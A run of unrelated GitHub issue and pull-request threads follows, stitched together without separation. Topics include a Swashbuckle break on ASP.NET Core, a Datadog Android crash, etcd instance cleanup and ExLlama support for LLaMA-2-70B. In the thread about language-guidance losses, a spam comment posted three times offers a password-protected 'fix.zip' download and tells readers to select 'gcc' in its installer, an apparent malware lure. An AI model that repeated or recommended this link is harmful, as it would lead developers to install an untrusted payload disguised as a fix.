Swashbuckle 4.0.1 is broken on latest bits

This change broke Swashbuckle: https://github.com/aspnet/AspNetCore/commit/4e44025a52e4b73aa17e09a8041b0e166e0c5ce0#diff-82fb21b0c9d40a3f2a763341393fc5e1
Is there anything we can do to make this not be a breaking change?
System.MissingMethodException: 'Method not found: 'Void Microsoft.AspNetCore.StaticFiles.StaticFileMiddleware..ctor(Microsoft.AspNetCore.Http.RequestDelegate, Microsoft.AspNetCore.Hosting.IHostingEnvironment, Microsoft.Extensions.Options.IOptions`1<Microsoft.AspNetCore.Builder.StaticFileOptions>, Microsoft.Extensions.Logging.ILoggerFactory)'.'

   at Swashbuckle.AspNetCore.SwaggerUI.SwaggerUIMiddleware.CreateStaticFileMiddleware(RequestDelegate next, IHostingEnvironment hostingEnv, ILoggerFactory loggerFactory, SwaggerUIOptions options)
   at Swashbuckle.AspNetCore.SwaggerUI.SwaggerUIMiddleware..ctor(RequestDelegate next, IHostingEnvironment hostingEnv, ILoggerFactory loggerFactory, SwaggerUIOptions options)
   at System.RuntimeMethodHandle.InvokeMethod(Object target, Object[] arguments, Signature sig, Boolean constructor, Boolean wrapExceptions)
   at System.Reflection.RuntimeConstructorInfo.Invoke(BindingFlags invokeAttr, Binder binder, Object[] parameters, CultureInfo culture)
   at Microsoft.Extensions.Internal.ActivatorUtilities.ConstructorMatcher.CreateInstance(IServiceProvider provider)
   at Microsoft.Extensions.Internal.ActivatorUtilities.CreateInstance(IServiceProvider provider, Type instanceType, Object[] parameters)
   at Microsoft.AspNetCore.Builder.UseMiddlewareExtensions.<>c__DisplayClass4_0.<UseMiddleware>b__0(RequestDelegate next)
   at Microsoft.AspNetCore.Builder.Internal.ApplicationBuilder.Build()
   at Microsoft.AspNetCore.Hosting.Internal.GenericWebHostService.StartAsync(CancellationToken cancellationToken)
   at Microsoft.Extensions.Hosting.Internal.Host.StartAsync(CancellationToken cancellationToken)
   at Microsoft.Extensions.Hosting.HostingAbstractionsHostExtensions.RunAsync(IHost host, CancellationToken token)
   at Microsoft.Extensions.Hosting.HostingAbstractionsHostExtensions.RunAsync(IHost host, CancellationToken token)
   at Microsoft.Extensions.Hosting.HostingAbstractionsHostExtensions.Run(IHost host)
   at EndpointRouting.Program.Main(String[] args) in C:\git\rynowak\Presentations\2019\Community-Standup-4-22\EndpointRouting\Program.cs:line 16

😢 I'm not sure if an easy way to fix this one. We can leave the old code there and suppress the warning. If we keep the old ctor and try to add the new one then it'll likely be ambiguos.

Why does it even set up StaticFiles like that? They could have done it just as easily in the UseSwaggerUI and wouldn't have had this issue.
https://github.com/domaindrivendev/Swashbuckle.AspNetCore/blob/2b171c0fc6efe40f3a29a45c48d6b01221a0c214/src/Swashbuckle.AspNetCore.SwaggerUI/SwaggerUIMiddleware.cs#L48
https://github.com/domaindrivendev/Swashbuckle.AspNetCore/blob/2b171c0fc6efe40f3a29a45c48d6b01221a0c214/src/Swashbuckle.AspNetCore.SwaggerUI/SwaggerUIBuilderExtensions.cs#L23
Would a reasonable fix be to show them how to refactor this so it works on 2.x and 3?

Yes that's also reasonable. Send a PR/open an issue.

@davidfowl was this revoled? Is there any pending work here?

@mkArtakMSFT the only proposed changes are in Swashbuckle.

Has anyone filed an issue on Swashbuckle to track this change? I'd like to close this issue out.

Hi Andrew,
this has been fixed in https://github.com/domaindrivendev/Swashbuckle.AspNetCore/pull/1082 and released in https://github.com/domaindrivendev/Swashbuckle.AspNetCore/releases/tag/v5.0.0-rc2 so I believe it can be closed.

Sample project if you want to do a quick check: https://github.com/alefranz/SampleApi

Awesome, thanks for checking back in @alefranz !


The effect of the introducing language guidance

Thanks for your amazing work！
However, when I tried using your code, I encountered some confusing issues. According to my understanding, the
output['task_map_loss'] and class_map_loss parts in the engine.py file should compute the loss at the task and class levels language guidance respectively. However, when I masked these losses, the results did not change at all, both on the CIFAR-100 and ImageNet-R datasets. I am unable to resolve this issue and would appreciate your help.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Garbage collect instance records

Problem: instances tend to stick around if you stop an agent or host,
because there's nothing to remove them.
Proposal: run a timer in each agent which refreshes a TTLd key. Peers
should disregard instances that belong to a host that is not present;
so there's an inner join on the {instances, hosts}.
Difficulties:

just because the agent isn't running, doesn't mean the instances
aren't running (although the information is stale, so it is perhaps
better to be conservative and exclude them; this should be made
visible)

if you restart an agent with a different identity (host IP,
effectively), how do you make sure you don't get overlapping sets
of instances

whose responsibility is it to remove stale instances, ultimately?

just because the agent isn't running, doesn't mean the instances
aren't running (although the information is stale, so it is perhaps
better to be conservative and exclude them; this should be made
visible)

Is this question prompted that this issue is also about preventing load balancers sending requests to unreachable instances.  But if we accept that that job belongs to the load balancer (which it doesn't do at the moment, but should), and this issue is just about cleaning up stale information, is this still a significant concern?
If we make the TTL fairly long and the refresh time much shorter (say, 5 minutes and 1 minute), then a missing key is a fairly strong indication that an agent has gone away and isn't coming back, and so any information it provided is stale and shouldn't be relied upon.

if you restart an agent with a different identity (host IP,
effectively), how do you make sure you don't get overlapping sets
of instances

Doesn't the use of container IDs as instance IDs ensure this?  You can't have two instances in the same service with the same ID.

whose responsibility is it to remove stale instances, ultimately?

The combined agent/balancer can also combine a cleaner component with this responsibility.  When it sees an agent go away, it will sweep any lingering instances (it will also need to do a sweep on startup).
A refinement to reduce the amount of redundant etcd operations would be to delay a sweep by a random interval (up to a few minutes).

If we make the TTL fairly long and the refresh time much shorter (say, 5 minutes and 1 minute), then a missing key is a fairly strong indication that an agent has gone away and isn't coming back, and so any information it provided is stale and shouldn't be relied upon.

Yes it is; though five minutes is a long time to wait to make instances stale (in the absence of other mechanisms). Working in combination with load balancers making their own, local decisions about which instances are healthy might make it acceptable I suppose. It would be hard to make dubious instances visible to the user, perhaps.

[if] this issue is just about cleaning up stale information, is this still a significant concern?

There are two concerns: don't send traffic to instances you know are defunct, and don't keep records of defunct instances around (for too long). The first is to some extent taken care of by expiring instances when the agent is detected as absent. I was treating changes to the balancer as distinct, but we could fold it in here, since it seems a crucial part of solving the problem.

if you restart an agent with a different identity (host IP,
effectively), how do you make sure you don't get overlapping sets
of instances

Doesn't the use of container IDs as instance IDs ensure this? You can't have two instances in the same service with the same ID.

Yes it does -- it's not a composite key -- disregard ..

The combined agent/balancer can also combine a cleaner component with this responsibility. When it sees an agent go away, it will sweep any lingering instances (it will also need to do a sweep on startup).
A refinement to reduce the amount of redundant etcd operations would be to delay a sweep by a random interval (up to a few minutes).

Yeah, that's the conclusion Peter and I came to as well, after a bit of discussion.

I was treating changes to the balancer as distinct, but we could fold it in here, since it seems a crucial part of solving the problem.

It can be done separately, so long as we do both ...

The store can now be run with a daemon.StartFunc, which will start a heartbeat goroutine as well as a scheduled clean-up goroutine. This is only used in fluxd, since the other uses of the store don't add records that need to be cleaned up.


Use TRUNCATE instead of CREATE OR REPLACE

Fixes #430 and corrects remaining problems left by #494 which were that,
although the table was being terraformed, it was also being deleted
nightly, so that terraform apply always offered to reset the table
metadata.

Also closes #438, hopefully, finally.


Can't edit newly created or renamed roles.

Attempted to change role color after role creation.
tried it immediately to no success in finding the role.
Waited about 10-15 minutes and had the same issue..role was null.
About 30-45 minutes or so, the roll was found and edited correctly.
Not sure if this is just discord? but I figured you'd want to know about it.
Also if you edit the role name, it appears to do the same thing.
you have to wait the same amount of time before it's available to edit.

Sorry, was this sorted in the Discord chat? Not sure

I posted it in the chat, voltana moved it here. still not solved, have to wait up to an hour sometimes 2.

Will take a look when I have some time
On Mar 16, 2016 2:53 AM, Joshua Cleland<EMAIL_ADDRESS>wrote:I posted it in the chat, voltana moved it here. still not solved, have to wait up to an hour sometimes 2.
—You are receiving this because you commented.Reply to this email directly or view it on GitHub:https://github.com/teamreflex/DiscordPHP/issues/25#issuecomment-196829313

Just an update: I think it has something to do with the cache system in the roles? If i create a role it won't detect it, Restart the bot. and it works right away.

Might be fixed in bot-api.

@proxikal were you able to get this working? Pretty sure we resolved it, just wanted to make sure.


Admin edit address and duns

Fixes this bug with declaration editing in the admin app: https://www.pivotaltracker.com/story/show/126406697
The first problem was that the frameworks version hadn't been bumped for an age, so the app didn't know about the DUNs number question at all and thought the address question was a text field when it has been split into a three-part multiquestion.
Once the new content was pulled in I needed to add a form macro for editing multiquestions.  This is simpler than the ones used in other apps, as we don't need to show question hints, etc. for admin editing.
Finally, the summary page wasn't quite doing things right in terms of the content loader - it was rendering questions from the content with values pulled directly from the declaration object without calling .summary which ties together questions with the answers given. Adding that call meant that the address multiquestion shows up OK in the summary page.
Summary table with address and DUNs number displayed

New form fields on the edit page

:100: :100:

Coverage remained the same at 88.889% when pulling 9b49d219a710c528b1a144d0fd0b4116a92201a2 on admin-edit-address-and-duns into 9919f5a723b7811987d24f7276904daac5a71bf4 on master.

Is the "[[tradingStatus]]" in your screenshot anything to worry about?

Do we want to have "Building and street" etc in here? Surely the user just wants to see the plain address without the subtitles (which are not easy to differentiate at the moment either). Don't know if this is existing behaviour that has previously been OK'ed or not?

The [[tradingStatus]] isn't something to worry about, in that it's how it is at the moment. It isn't ideal, but admin should know what it refers to.
We don't use the logic of question numbering in the admin app that we have in the submissions part of the supplier app, so there are no question numbers to cross-reference here (which is what the [[ ]] items are).

It's using the toolkit pattern we have for displaying multiquestions in summary tables.  For addresses it might make sense not to show what the fields are, but in the general case for multiquestions this won't work - e.g. if it just displayed "10% 20% 70%" or "Yes No Yes Yes No" as values without field names it would be pretty unhelpful as a summary.
I don't think we should make a special case for address.

👍

Coverage remained the same at 88.889% when pulling 333548f8ade1a8cea9e5abc1fb07409c62e04e62 on admin-edit-address-and-duns into 9919f5a723b7811987d24f7276904daac5a71bf4 on master.


Crash on Datadog v2.0.0 on DdRumContentProvider: java.lang.ClassNotFoundException

Hello,
Since the migration to Datadog v2.0.0 on Android, we're facing a new crash happening on devices on Android 10.
Stack Trace:
Fatal Exception: java.lang.RuntimeException: Unable to get provider com.datadog.android.rum.DdRumContentProvider: java.lang.ClassNotFoundException: Didn't find class "com.datadog.android.rum.DdRumContentProvider" on path: DexPathList[[zip file "/data/app/fr.vestiairecollective-BBCXsWSSAdVcXE74IfAxdg==/base.apk"],nativeLibraryDirectories=[/data/app/fr.vestiairecollective-BBCXsWSSAdVcXE74IfAxdg==/lib/arm64, /data/app/fr.vestiairecollective-BBCXsWSSAdVcXE74IfAxdg==/base.apk!/lib/arm64-v8a, /system/lib64, /system/product/lib64]]
       at android.app.ActivityThread.installProvider(ActivityThread.java:7029)
       at android.app.ActivityThread.installContentProviders(ActivityThread.java:6569)
       at android.app.ActivityThread.handleBindApplication(ActivityThread.java:6486)
       at android.app.ActivityThread.access$1400(ActivityThread.java:227)
       at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1888)
       at android.os.Handler.dispatchMessage(Handler.java:107)
       at android.os.Looper.loop(Looper.java:214)
       at android.app.ActivityThread.main(ActivityThread.java:7399)
       at java.lang.reflect.Method.invoke(Method.java)
       at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:502)
       at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:980)

Do you know how can we fix this?
Thank you

hi @RamiTrabelsi thanks for reporting this issue - we'll look into it asap. Do you have any additional details that might help in debugging this crash (for example, do you know whether these are these upgraded or fresh installations)?

Hello,
Thanks for the reactivity. We don't have the info about if the devices having the crash, are upgraded or fresh installations. We know it's 100% Android 10 and the crash is happening in the background (it seems happening on app startup).
Since the crash was growing, we decided to revert to the old version on 1.x.x.

Hello @RamiTrabelsi. Can you please open your apk file in Android Studio (Build -> Analyze APK) and check if com.datadog.android.rum.DdRumContentProvider is presented in any of dex files you have inside the APK?

Hello, yes I can find the class on both debug and release apks.

@RamiTrabelsi Thanks for the quick return. Do you see this crash only on Android 10? If you run the app on say Android 11, does it crash with SDK v2?
Can you also share AGP version you are using?
I see that this class is not in a primary DEX file, can you try to follow the docs here to push this file to the primary DEX file and see if it helps?

Thanks for the quick reply. On our latest release version, we have today 9 crash events impacting 8 users. 8 of them are on Android 10, and 1 appeared today on Android 9.
Our actual AGP version is 7.4.2.
Okay, I'll try to add to our proguard file to keep that class:
-keep class com.datadog.android.rum.DdRumContentProvider

Thanks for your help!

Hello @RamiTrabelsi! Do you have any update on this issue? Did the proposed solution help you?

Hey mates
@RamiTrabelsi is off today. I'll try to test it today. Otherwise, we'll bring news next week.
Thanks!

Hello @0xnm, so it seems to work as I could push that class to primary DEX. But since we were blocked by this issue to push this change to production, we couldn't yet 100% confirm that it's resolved as the new version is not yet pushed to production (we reverted) so for now we can't see if previously affected devices by the crash, don't have it anymore.
Maybe we can close this thread, and if we see that the problem is still there (rare chances) we can re-open the issue.
Thank you very much for the help 🙏

Hello @0xnm, it seems that the crash is back again. I made sure that the class DdRumContentProvider is available on the primary DEX (you can see the screenshot attached). What is noticeable is that this crash is happening 100% on devices with OS Android 10. This crash appeared 2 times when we tried to push the latest Datadog version (2.0 then 2.2) to prod.
Stacktrace:
Fatal Exception: java.lang.RuntimeException: Unable to get provider com.datadog.android.rum.DdRumContentProvider: java.lang.ClassNotFoundException: Didn't find class "com.datadog.android.rum.DdRumContentProvider" on path: DexPathList[[zip file "/data/app/fr.vestiairecollective-NWkZllpKxpWq-Kxgfp8jCw==/base.apk"],nativeLibraryDirectories=[/data/app/fr.vestiairecollective-NWkZllpKxpWq-Kxgfp8jCw==/lib/arm64, /data/app/fr.vestiairecollective-NWkZllpKxpWq-Kxgfp8jCw==/base.apk!/lib/arm64-v8a, /system/lib64, /product/lib64]]
       at android.app.ActivityThread.installProvider(ActivityThread.java:7756)
       at android.app.ActivityThread.installContentProviders(ActivityThread.java:7296)
       at android.app.ActivityThread.handleMakeApplication(ActivityThread.java:7153)
       at android.app.ActivityThread.handleBindApplication(ActivityThread.java:7121)
       at android.app.ActivityThread.access$1600(ActivityThread.java:274)
       at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2102)
       at android.os.Handler.dispatchMessage(Handler.java:107)
       at android.os.Looper.loop(Looper.java:237)
       at android.app.ActivityThread.main(ActivityThread.java:8154)
       at java.lang.reflect.Method.invoke(Method.java)
       at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:496)
       at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1100)

Thanks for your help !

Hello @RamiTrabelsi! This is a quite strange issue, indeed. I managed to find a similar issue for androidx.startup library mentioned here, it also happens only on Android 10 devices, maybe that thread can be helpful for you (and maybe here some more useful information can be found).
Can you give us a bit more information based on the discussions in the threads I linked:

Is your application multi-process?
Does this happen if you migrate to AGP 8.x? I know it can be a big change for you, just curious if you already tried.

Hello @RamiTrabelsi! I'm closing this ticket due to inactivity. Please don't hesitate to re-open it if needed.

Hi,
I would like the issue to be reopened as we are facing the exact same issue, only happening on some Android 10 devices in our production app.
I couldn't reproduce the issue on my Android 10 test device, so any proposed fix will have to be sent to production to be validated.
To answer the questions you asked above:

Does this happen if you migrate to AGP 8.x?

We are on AGP 8.3.2

Is your application multi-process?

It is not
We didn't try the Proguard rule solution proposed above, this is one of the fix we're planning to try even if it doesn't seem to have worked for @RamiTrabelsi.
Is there anything we can try, or information we can provide to help fix this issue?

Hi @NFesquet ,
Are you publishing your application via an APK or App Bundle ? If you rename the *.apk/ *.aab and look for the classes.dex file with the dex2jar tool, to check for the presence of the  com.datadog.android.rum.DdRumContentProvider
Also, can you try making sure that all the Datadog libraries you're using are using the same version in your app?

Thanks for reopening the issue.

Are you publishing your application via an APK or App Bundle ?

Both, depending on the targeted country. In the country we see the most crashes, the app is distributed via apk. But there are occurrences in countries where app is distributed via aab.

If you rename the *.apk/ *.aab and look for the classes.dex file with the dex2jar tool, to check for the presence of the  com.datadog.android.rum.DdRumContentProvider

Tried it on apk, DdRumContentProvider is not in classes.dex but can be found in classes3.dex. I'll add the proguard rule to push it to the primary DEX and let you know the result when next release is in production.

Also, can you try making sure that all the Datadog libraries you're using are using the same version in your app?

Confirmed, all lib versions (logs, http, rum and trace) are centralised in a single value, 2.10.0 currently.

Yes so it's indeed the class not being kept in the primary DEX, let me know how the proguard rule works.

Hey ! Just wanted to let you know that the crash is unfortunately still present even after adding the proguard rule 😞 (@NFesquet also upgraded to the 2.11.0 version for all Datadog libraries)

Hello @WessimBetclic!
Can you please confirm that after adding a Proguard rule com.datadog.android.rum.DdRumContentProvider can now be found in classes.dex (not in classes<X>.dex), but crash still occurs?

Hi @0xnm,
For a reason I cannot explain, the Proguard rule does not put DdRumContentProvider in primary DEX.
I tried

Adding -keep class com.datadog.android.rum.DdRumContentProvider in proguard-rules.pro
Adding -keep class com.datadog.android.rum.DdRumContentProvider in a newly created multidex-config.pro and apply it as stated in official documentation

android {
  buildTypes {
    getByName("release") {
      multiDexKeepProguard = file("multidex-config.pro")
      ...
    }
  }
}

I also tried both at the same time. Every solution will put file in either classes3.dex or classes4.dex.

Hi @0xnm,
I opened an issue in Google tracker and according to them:

multiDexKeepProguard won't work if minSdk >= 21 (that's my case)
it doesn't matter what dex files contains the file
https://issuetracker.google.com/issues/363903530#comment4

Updating the Proguard rule to keep class didn't work, so I'm a little short of ideas right now.

@NFesquet Honestly it looks like as unfortunate issue of the particular Android version itself, I doubt we can do anything on our side.
Can you try to use the newer SDK versions? Maybe AGP will re-arrange classes and issue will be gone.


RTN12c

Rebased with changes.

https://github.com/ably/ably-ios/blob/b755c200717e81188651c8bdb19bf71f31b9d7d6/ably-ios/ARTWebSocketTransport.m#L251 I think the ARTWsAbnormalClose, ... should also call the delegate.realtimeTransportClosed instead of delegate.realtimeTransportDisconnected.

LGTM

LGTM

It's important to merge #169 first, remove 435317c, rebase with master and check if it's ok.


Identity transformation

Hi,
I started using your library to convert from an undefined source to hsv. Without thinking I ended up coding a colorConvert.hsv.hsv conversion, which obviously doesn't exist. Would it be possible/reasonable to add a a no-op or identity transformation (ie output = input) when source and destination during the route construction?
At the moment I've trapped it an dealt with it specially, but it would be really nice not to have to have different code in the transformation path :)
Thoughts?

Feel free to PR :)

Hi,
I forked the project and made a stab at the changes (fork) but I've two failing tests... lines 118 and 120 in test/basic.js.
assert.deepStrictEqual(convert.ansi16.ansi16(103), 103);
assert.deepStrictEqual(convert.ansi256.ansi256(175), 175);
But I'm afraid my javascript isn't yet up to diagnosing why. Would you have a little time to take a look (no rush!). I wouldn't be comfortable doing a PR without the tests.
Thanks,
J.

Feel free to open a PR and I can take a look :)

PR #66 created (failing tests commented out for now).
I'll close this issue and we can continue on the PR?

Nah we'll leave this open until it's done :)

's been a while, anything I can do to progress this?


Toggle verbose or off

Kind: Feature request
Is it possible to toggle the output of the logs in this way? Perhaps only show debug level information, when we need it etc.

this would be a feature of the log-backend, not the swift-log API. the builtin log-backend is only for development time and should be avoided in real applications


Update scala-library to 2.12.16

Updates org.scala-lang:scala-library from 2.12.8 to 2.12.16.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Files still referring to the old version number
The following files still refer to the old version number (2.12.8).
You might want to review and update them manually.
.travis.yml

Adjust future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.scala-lang", artifactId = "scala-library" } ]

Or, add this to slow down future updates of this dependency:
dependencyOverrides = [{
  pullRequests = { frequency = "@monthly" },
  dependency = { groupId = "org.scala-lang", artifactId = "scala-library" }
}]

labels: library-update, early-semver-patch, semver-spec-patch, old-version-remains, commit-count:1

Superseded by #60.

Superseded by #70.


Readme2

A rewrite to try and better capture potential use of functions with diverse workflows/tools [e.g. R/RStudio console, RStudio GUI (point and click options for both R & Git), and the Command Line option for using Git]

Nice!


Expo end-to-end tests

Goal
Adds e2e tests for Expo running as a standalone app on Android devices in Browserstack in both CI and when running locally.
A second PR adding iOS functionality to this change will be coming soon.

@bengourley Everything should be up to date now.  If you could verify this addition is running properly by giving it a once over, and by running the Android tests using the instruction in the contributing guide that'd be great.

I've messaged BrowserStack re reset-device timings on Android 7 & 8, but aside from that I'm not sure there's much more I can add/remove to improve speed atm.  I'd definitely appreciate a second review.

Having looked at the length of the CI jobs on this branch vs. those on next/master, the average time to complete pretty much doubles. It's not ideal, but I don't have anything constructive to suggest.

Do we think this is mergeable now?  Shall we wait for @bengourley before doing so?


what is the use of adding a fc layer when reloading the pretrained model

With some error with gpu memory, I've got to relance the train part.
In the loading part, a new fc layer is added. What does it mean?
# state_dict = torch.load(args.pretrained)['state_dict']
# from collections import OrderedDict
# new_state_dict = OrderedDict()
# for k, v in state_dict.items():
        # name = k[7:]
        # new_state_dict[name] = v
# model.load_state_dict(new_state_dict)
# model.fc = nn.Linear(2048, 80)

Sorry. I forgot to remove it. It's redundant code.

Thanks for your response.
By the way, do you have any script to evaluate the trained model on a test set to get mAP?

yea,I have same question ,as we used the caffe version.


bug: rts_memory_size overflows when reporting last page

rts_memory_size incorrectly reports 0 (bytes) when wasm memory.size is 65536 (pages)
Due to multiplcation by page_size in 32bit, before extending to Nat.

See also #3090.


Support for LLaMA-2-70B quants

Hi there, thanks for all the hard work.
My system has 2x4090.
First, the FP16 model works if using bitsandbytes 4bit, with decent speeds.
Output generated in 81.62 seconds (4.47 tokens/s, 365 tokens, context 3036, seed 640889223)
I did a GPTQ from LLaMA-2-70B, without group size, act order true and true sequential. https://huggingface.co/Panchovix/LLaMA-2-70B-GPTQ-transformers4.32.0.dev0 and there's more quants here https://huggingface.co/TheBloke/Llama-2-70B-GPTQ
This model works in GPTQ-for-LLaMA, abeit very slowly.
Output generated in 220.41 seconds (2.32 tokens/s, 511 tokens, context 2500, seed 725867733)
Now, when trying to load the model on exllama, it works.
But then, when trying to do inference, I get (via ooba webui)
Traceback (most recent call last):
  File "F:\ChatIAs\oobabooga\text-generation-webui\modules\text_generation.py", line 331, in generate_reply_custom
    for reply in shared.model.generate_with_streaming(question, state):
  File "F:\ChatIAs\oobabooga\text-generation-webui\modules\exllama.py", line 98, in generate_with_streaming
    self.generator.gen_begin_reuse(ids)
  File "F:\ChatIAs\oobabooga\text-generation-webui\repositories\exllama\generator.py", line 186, in gen_begin_reuse
    self.gen_begin(in_tokens)
  File "F:\ChatIAs\oobabooga\text-generation-webui\repositories\exllama\generator.py", line 171, in gen_begin
    self.model.forward(self.sequence[:, :-1], self.cache, preprocess_only = True, lora = self.lora)
  File "F:\ChatIAs\oobabooga\text-generation-webui\repositories\exllama\model.py", line 887, in forward
    r = self._forward(input_ids[:, chunk_begin : chunk_end],
  File "F:\ChatIAs\oobabooga\text-generation-webui\repositories\exllama\model.py", line 968, in _forward
    hidden_states = decoder_layer.forward(hidden_states, cache, buffers[device], lora)
  File "F:\ChatIAs\oobabooga\text-generation-webui\repositories\exllama\model.py", line 471, in forward
    hidden_states = self.self_attn.forward(hidden_states, cache, buffer, lora)
  File "F:\ChatIAs\oobabooga\text-generation-webui\repositories\exllama\model.py", line 389, in forward
    key_states = key_states.view(bsz, q_len, self.config.num_attention_heads, self.config.head_dim).transpose(1, 2)
RuntimeError: shape '[1, 448, 64, 128]' is invalid for input of size 458752
Output generated in 2.31 seconds (0.00 tokens/s, 0 tokens, context 449, seed<PHONE_NUMBER>)

Yeah, ExLlama will need multi-query attention support before 70B or (not-yet-released) 34B will work with them. #163
The upside is that you'll probably be able to fit a lot more context, because despite the model being larger than 65B, with the MQA configuration Meta chose for 70B, it should reduce the memory requirement for context by a factor of 8.
LLaMA 2 13B already works on my machine (specifically this quant), I expect 7B would too, because those two still use MHA.

@EyeDeck What do you suspect will the total memory consumption of the 70B model be after all implementations? Will it easily fit on two 4090s and will it roughly co sume as much as the 65B? (i tried cloud 2 4090s and it OOMd every time for thebloke 70b)

Well, GQA makes the two models not directly comparable. This is assuming ExLlama receives the appropriate changes to support GQA models, considering ExLlama's significantly better memory efficiency than other current implementations:

A 4-bit 128-groupsize quant of 65B is 34.7 GB, while an equivalent quant of 70B is 36.7GB. So to figure out how much context two 48GB cards should fit with the new model, a close approximation would be to find out how much you can currently fit using 65B with 2GB of VRAM free, then multiply whatever that number is by 8, and you should be pretty close.

So I'd expect it to fit quite well, and you'd probably get a fair bit more context than current 65B.

Well, GQA makes the two models not directly comparable. This is assuming ExLlama receives the appropriate changes to support GQA models, considering ExLlama's significantly better memory efficiency than other current implementations, and quoting my own napkin math from the discussions thread:

A 4-bit 128-groupsize quant of 65B is 34.7 GB, while an equivalent quant of 70B is 36.7GB. So to figure out how much context two 48GB cards should fit with the new model, a close approximation would be to find out how much you can currently fit using 65B with 2GB of VRAM free, then multiply whatever that number is by 8, and you should be pretty close.

So I'd expect it to fit quite well, and you'd probably get a fair bit more context than current 65B.

That's pretty impressive! I have tested more so far, and it seems that, on 2x4090,

GPTQ for LLaMA: max context is about 2-2.5k, before it outputs at 0.05 tokens/s
Transformers 4bit (bitsandbytes): max context is about 3-3.1k, then it gets OOM.

Those 2 methods use way more VRAM that exllama, or at least it did on llama v1.

My guess is those aren't updated for GQA yet, and the new model just happens to work running MHA code anyway.

Mine just d/l this morning. Haven't tried it yet. I have the bloke's 70b. I d/l the aligned chat on accident. Was expecting a slight context cut. I can usually do around 3400 on the 65b. My cards don't get used for display so they are fully empty. Guess it won't work yet.

Should be up and running now.
python test_benchmark_inference.py -d /mnt/str/models/_test_models/Panchovix_LLaMA-2-70B-GPTQ-transformers4.32.0.dev0/ -gs 17,24 -p -ppl -v
 -- Perplexity:
 -- - Dataset: datasets/wikitext2_val_sample.jsonl
 -- - Chunks: 100
 -- - Chunk size: 2048 -> 2048
 -- - Chunk overlap: 0
 -- - Min. chunk size: 50
 -- - Key: text
 -- Tokenizer: /mnt/str/models/_test_models/Panchovix_LLaMA-2-70B-GPTQ-transformers4.32.0.dev0/tokenizer.model
 -- Model config: /mnt/str/models/_test_models/Panchovix_LLaMA-2-70B-GPTQ-transformers4.32.0.dev0/config.json
 -- Model: /mnt/str/models/_test_models/Panchovix_LLaMA-2-70B-GPTQ-transformers4.32.0.dev0/llama-2-70b-4bit.safetensors
 -- Sequence length: 2048
 -- Tuning:
 -- --matmul_recons_thd: 8
 -- --fused_mlp_thd: 2
 -- --sdp_thd: 8
 -- Options: ['gpu_split: 17,24', 'perf', 'validate', 'perplexity']
 ** Time, Load model: 14.82 seconds
 ** Time, Load tokenizer: 0.01 seconds
 -- Groupsize (inferred): None
 -- Act-order (inferred): no
 !! Model has empty group index (discarded)
 ** VRAM, Model: [cuda:0] 17,719.66 MB - [cuda:1] 16,574.28 MB
 ** VRAM, Cache: [cuda:0] 323.53 MB - [cuda:1] 304.00 MB
 -- Warmup pass 1...
 ** Time, Warmup: 2.34 seconds
 -- Warmup pass 2...
 ** Time, Warmup: 1.94 seconds
 -- Inference, first pass.
 ** Time, Inference: 1.95 seconds
 ** Speed: 986.77 tokens/second
 -- Generating 128 tokens, 1920 token prompt...
 ** Speed: 13.00 tokens/second
 -- Generating 128 tokens, 4 token prompt...
 ** Speed: 16.90 tokens/second
 ** VRAM, Inference: [cuda:0] 318.12 MB - [cuda:1] 317.29 MB
 ** VRAM, Total: [cuda:0] 18,361.31 MB - [cuda:1] 17,195.57 MB
 -- Loading dataset...
 -- Testing 100 chunks..........
 ** Perplexity: 4.2524
 -- Testing 8 chunks.
 ** Perplexity (reconstruct): 3.4033
 -- Testing 8 chunks.
 ** Perplexity (quant, token): 3.3822
 ** Generation: 'To be or not to be, that is the question.\nThe answer is yes, you should be using a VPN when torrenting.'

Also. Good advice there at the end. Don't copy that floppy. At least without a VPN.
It's not quite the completion I'd expect, but perplexity seems good overall, and the model seems very coherent, able to carry a conversation, build on a story or answer questions up to 4096 tokens before even getting to RoPE scaling.
As for that, with a 4096-token context it needs about 42.5 GB in total, thanks to GQA, which means there's a lot of headroom for longer contexts with scaling. Though I haven't really tested that yet.

@turboderp tested and working great! 41GB VRAM usage with no group size and act order true
Output generated in 30.80 seconds (12.01 tokens/s, 370 tokens, context 3418, seed 228732740)

To add even more, 12K and 16K works! This is magic!
Output generated in 41.84 seconds (3.49 tokens/s, 146 tokens, context 12863, seed<PHONE_NUMBER>)

And with 16K,
Output generated in 7.75 seconds (2.97 tokens/s, 23 tokens, context 15755, seed<PHONE_NUMBER>)
Still 47GB VRAM usage.
@Ph0rk0z 128 is the best middleground, since 32 has marginal better perplex but a lot more VRAM usage. These test were made with the non grouped version.

It truly amazes me how extremely fast you implemented GQA, just mindblowing
35960MiB / 49140MiB on a 2k context lenght with 9.14/11.65 tps, what a dream!

Well I mean, it's a pretty small change. I had to read up on it to have some sense of what it was, but if you look at the commit it's only a couple of lines.
There's also a somewhat major optimization still to make because I've done it the quick-and-dirty way, same as what Meta did in the Transformers LlamaModel, by reshaping the entire (!) key/value cache during inference. It amounts to something on the order of 100 GB of extra VRAM access per forward pass, or 100 ms of extra time on a 4090. Depending on sequence length. It should be possible to do some type of broadcasting instead and make it go brr.

make it go brr.

😍 Please! Am super excited

or 100 ms of extra time on a 4090.

Isn't the whole inference per token taking 100ms at 10tps? Is this reshaping happening every single time for each token or how can I imagine that?

Great work!
Quick Q: does this require a recompile of the kernels? I'm wondering what to tell text-generation-webui users, like whether it will work for them automatically with the already provided wheel, or if they'll need to wait for text-generation-webui to update also.

Isn't the whole inference per token taking 100ms at 10tps?

This would be as the context grows very long. For me, the speed drops below 10 tokens/second at around 3500 tokens of context.

